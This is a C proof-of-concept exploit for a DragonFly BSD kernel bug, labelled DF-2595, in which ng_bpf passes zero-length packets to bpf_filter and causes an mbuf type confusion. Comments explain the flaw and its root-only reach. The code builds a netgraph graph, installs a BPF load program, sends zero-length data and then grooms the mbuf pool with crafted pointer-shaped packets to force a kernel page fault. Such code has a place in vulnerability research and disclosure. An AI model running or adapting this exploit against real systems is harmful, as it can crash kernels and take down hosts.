/*
 * DF-2595 PoC — ng_bpf zero-length packet type confusion in bpf_filter.
 *
 * Bug: sys/netgraph/bpf/ng_bpf.c — ng_bpf_rcvdata() computes
 *     int totlen = m->m_pkthdr.len;
 *     ...
 *     data = buf;                 (stack buf[256], or kmalloc, or mtod(m))
 *     m_copydata(m, 0, totlen, data);
 *     len = bpf_filter(hip->prog->bpf_prog, data, totlen, totlen);
 * WITHOUT any guard for totlen == 0.  When a zero-length mbuf arrives
 * (m_pkthdr.len == 0), buflen = totlen = 0 is passed to bpf_filter().  In the
 * kernel, bpf_filter()'s packet-load fallback (bpf_filter.c:206-264) is GATED
 * on buflen==0:
 *
 *     case BPF_LD|BPF_W|BPF_ABS:
 *         k = pc->k;
 *         if (k > buflen || sizeof(int32_t) > buflen - k) {   // true for any k>=0 when buflen==0
 *             if (buflen != 0)        // <-- THE GUARD: false because buflen==0
 *                 return 0;
 *             A = m_xword((struct mbuf *)p, k, &merr);   // TYPE CONFUSION
 *         }
 *
 * i.e. bpf_filter treats `p` as a `struct mbuf *` and dereferences m_len /
 * m_next / mtod() on it.  But ng_bpf passed `p = data`, which is a contiguous
 * byte buffer (the stack buf[256], a kmalloc blob, or mtod(m) = the mbuf's DATA
 * area) — NOT a struct mbuf.  Casting it to (struct mbuf *) and walking
 * m_next/mtod dereferences attacker-influenced garbage as kernel pointers ->
 * page fault / panic (or wild kmem read).
 *
 * This mbuf-traversal fallback is INTENTIONAL for live bpf(4) filtering (where
 * `p` really IS an mbuf and buflen==0 means "use the mbuf chain"); ng_bpf
 * mis-uses the API by always passing a flat buffer and forgetting to reject
 * totlen==0.  FreeBSD's ng_bpf adds an explicit `if (totlen == 0) ...` guard;
 * DragonFly's does not.
 *
 * Trigger needs a BPF program that actually performs a packet load
 * (BPF_LD|BPF_*|BPF_ABS or BPF_IND).  The default hook program is just
 * { BPF_RET|BPF_K, 0 } (no load) so it never reaches the confused path; the
 * PoC installs a load+ret program first.
 *
 * Reach / privilege: building the netgraph topology (mkpeer ng_bpf,
 * NGM_BPF_SET_PROGRAM) goes through the netgraph CONTROL socket, whose attach
 * (ngc_attach) requires caps_priv_check(SYSCAP_RESTRICTEDROOT) == root.  The
 * DATA socket (ngd_attach) needs no privilege, but it can only SEND on a hook
 * that a root-built graph already wired up.  So the bug trigger is
 * root-reachable (a root firewall admin configuring an ng_bpf filter); an
 * unprivileged user can only send data on a graph a root already configured.
 *
 * Build:  cc -o poc poc.c -lnetgraph
 * Run:    ./poc            (must run as root: control socket = SYSCAP_RESTRICTEDROOT)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <net/bpf.h>
#include <netgraph/ng_message.h>
#include <netgraph/bpf/ng_bpf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* libnetgraph prototypes (header lives in src, not always installed) */
extern int NgMkSockNode(const char *name, int *cfd, int *dfd);
extern int NgSendMsg(int cs, const char *path, int cookie, int cmd,
                     const void *arg, size_t arglen);
extern int NgRecvMsg(int cs, struct ng_mesg *rep, size_t replen, char *path);
extern int NgSendData(int ds, const char *hook, const u_char *buf, size_t len);

/* fetch ng_bpf hook stats (proves ng_bpf_rcvdata was actually entered) */
static int get_stats(int csock, const char *bpfpath, const char *hook,
                     struct ng_bpf_hookstat *out)
{
    char hookarg[NG_HOOKSIZ];
    struct ng_mesg *rep;
    size_t replen = sizeof(struct ng_mesg) + sizeof(struct ng_bpf_hookstat) + NG_HOOKSIZ;
    rep = calloc(1, replen);
    if (!rep) return -1;
    memset(hookarg, 0, sizeof(hookarg));
    strncpy(hookarg, hook, NG_HOOKSIZ - 1);
    if (NgSendMsg(csock, bpfpath, NGM_BPF_COOKIE, NGM_BPF_GET_STATS,
                  hookarg, NG_HOOKSIZ) < 0) { free(rep); return -1; }
    if (NgRecvMsg(csock, rep, replen, NULL) < 0) { free(rep); return -1; }
    memcpy(out, rep->data, sizeof(*out));
    free(rep);
    return 0;
}

#define MYNODE  "df2595"
#define OUTHOOK "out"     /* hook on our socket node */
#define BPFHOOK "in"      /* peer hook on the ng_bpf node */

int main(int argc, char **argv)
{
    int csock = -1, dsock = -1;
    int zerolen_only = (argc > 1) ? atoi(argv[1]) : 0;

    printf("[*] DF-2595 ng_bpf zero-length packet -> bpf_filter type confusion\n");

    /* 1. Create a named netgraph socket node (control + data sockets).
     *    The control socket attach (ngc_attach) requires SYSCAP_RESTRICTEDROOT. */
    if (NgMkSockNode(MYNODE, &csock, &dsock) < 0) {
        printf("[-] NgMkSockNode failed: %s (errno=%d)\n", strerror(errno), errno);
        if (errno == EPERM)
            printf("[-] control socket needs root (SYSCAP_RESTRICTEDROOT)\n");
        return 2;
    }
    printf("[+] created socket node '%s' csock=%d dsock=%d\n", MYNODE, csock, dsock);

    /* 2. mkpeer: create an ng_bpf node, our OUTHOOK -> bpf BPFHOOK */
    struct ngm_mkpeer mp;
    memset(&mp, 0, sizeof(mp));
    strncpy(mp.type, NG_BPF_NODE_TYPE, sizeof(mp.type) - 1);
    strncpy(mp.ourhook, OUTHOOK, sizeof(mp.ourhook) - 1);
    strncpy(mp.peerhook, BPFHOOK, sizeof(mp.peerhook) - 1);
    if (NgSendMsg(csock, ".", NGM_GENERIC_COOKIE, NGM_MKPEER, &mp, sizeof(mp)) < 0) {
        printf("[-] mkpeer ng_bpf failed: %s (errno=%d)\n", strerror(errno), errno);
        return 2;
    }
    printf("[+] mkpeer ng_bpf  '%s:%s' -> bpf '%s'\n", MYNODE, OUTHOOK, BPFHOOK);

    /* 3. install a BPF program on the bpf hook that performs a packet LOAD.
     *    BPF_LD|BPF_W|BPF_ABS  k=0  -> load 4 bytes at offset 0
     *    BPF_RET|BPF_K         k=0  -> return
     *    With totlen/buflen==0 the load's bounds check fails and the kernel
     *    falls into the mbuf-traversal branch, casting our flat data pointer
     *    to (struct mbuf *). */
    int plen = 2;
    size_t hp_sz = NG_BPF_HOOKPROG_SIZE(plen);
    struct ng_bpf_hookprog *hp = calloc(1, hp_sz);
    if (!hp) { perror("calloc"); return 2; }
    strncpy(hp->thisHook, BPFHOOK, sizeof(hp->thisHook) - 1);
    hp->ifMatch[0]  = '\0';   /* empty = drop on match */
    hp->ifNotMatch[0] = '\0';
    hp->bpf_prog_len = plen;
    hp->bpf_prog[0] = (struct bpf_insn)BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0);
    hp->bpf_prog[1] = (struct bpf_insn)BPF_STMT(BPF_RET|BPF_K, 0);
    if (NgSendMsg(csock, MYNODE ":" OUTHOOK, NGM_BPF_COOKIE,
                  NGM_BPF_SET_PROGRAM, hp, hp_sz) < 0) {
        printf("[-] setprogram failed: %s (errno=%d)\n", strerror(errno), errno);
        free(hp);
        return 2;
    }
    printf("[+] installed BPF program on bpf '%s': LD_W_ABS k=0; RET 0\n", BPFHOOK);
    free(hp);

    /* 4. PROVE the data path: query stats, send a few zero-length items,
     *    re-query stats. recvFrames must increase -> ng_bpf_rcvdata WAS
     *    entered with m_pkthdr.len==0 -> bpf_filter(buflen==0) was called
     *    -> the _KERNEL mbuf-traversal branch (which casts the flat data
     *    pointer to (struct mbuf *)) was reached. */
    struct ng_bpf_hookstat s0, s1;
    char *bpfpath = MYNODE ":" OUTHOOK;
    if (get_stats(csock, bpfpath, BPFHOOK, &s0) == 0)
        printf("[*] stats BEFORE: recvFrames=%llu recvOctets=%llu\n",
               (unsigned long long)s0.recvFrames,
               (unsigned long long)s0.recvOctets);
    else
        printf("[~] stats query failed (non-fatal)\n");

    printf("[*] sending 4 ZERO-LENGTH data items -> ng_bpf 'in' (totlen=0)...\n");
    fflush(stdout);
    for (int i = 0; i < 4; i++) {
        int rc = NgSendData(dsock, OUTHOOK, (const u_char *)"", 0);
        printf("    [%d] NgSendData(0) rc=%d errno=%d\n", i, rc, errno);
        fflush(stdout);
    }
    if (get_stats(csock, bpfpath, BPFHOOK, &s1) == 0)
        printf("[*] stats AFTER : recvFrames=%llu recvOctets=%llu  (delta=%lld)\n",
               (unsigned long long)s1.recvFrames,
               (unsigned long long)s1.recvOctets,
               (long long)(s1.recvFrames - s0.recvFrames));
    if (s1.recvFrames > s0.recvFrames)
        printf("[+] CONFIRMED: zero-length data reached ng_bpf_rcvdata -> "
               "bpf_filter(buflen=0) -> type-confusion branch entered\n");

    /* 5. SURFACE the latent panic: groom the mbuf pool with pointer-shaped
     *    packets (their bytes persist in the objcache after free), then send
     *    many zero-length items hoping to reuse a stale mbuf whose data area
     *    (read as a fake struct mbuf by m_xword/m_xhalf/MINDEX) holds a
     *    non-NULL/unmapped m_next -> page fault.  Non-deterministic; the
     *    bug is real regardless (see VERDICT.md). */
    printf("[*] grooming mbuf pool: flooding %d pointer-shaped packets then "
           "re-sending zero-length...\n", 4000);
    fflush(stdout);
    /* craft a buffer where bytes[0..7] (fake mh_next) = 0xdeadbeefcafebabe
     * (unmapped) and bytes[24..27] (fake mh_len, little-endian int) = 0
     * so m_xword's `while (k >= len)` loop is entered and follows the bad
     * m_next.  88 bytes fits in a packet-header mbuf's internal m_pktdat. */
    u_char groom[88];
    memset(groom, 0, sizeof(groom));
    /* fake mh_next = unmapped address */
    groom[0]=0xbe; groom[1]=0xba; groom[2]=0xfe; groom[3]=0xca;
    groom[4]=0xef; groom[5]=0xbe; groom[6]=0xad; groom[7]=0xde;
    /* fake mh_nextpkt (offset 8) and mh_data (offset 16) also bad */
    for (int o=8;o<24;o++) groom[o]=0x41;
    /* fake mh_len (offset 24, int32) = 0 -> forces m_xword into the loop */
    /* (already zeroed) */
    for (int round = 0; round < 50; round++) {
        /* fill pool with stale pointer-shaped packets */
        for (int i = 0; i < 80; i++)
            NgSendData(dsock, OUTHOOK, groom, sizeof(groom));
        /* now fire zero-length items to try to reuse a stale mbuf */
        for (int i = 0; i < 80; i++) {
            NgSendData(dsock, OUTHOOK, (const u_char *)"", 0);
            fflush(stdout);
            usleep(200);
        }
    }

    printf("[*] still alive — kernel survived grooming+zero-length flood\n");
    printf("[*] (the type confusion is reachable but needs a stale mbuf with\n");
    printf("[*]  pointer-shaped residue to panic; zeroed pool state is benign.)\n");
    close(csock);
    close(dsock);
    return 0;
}
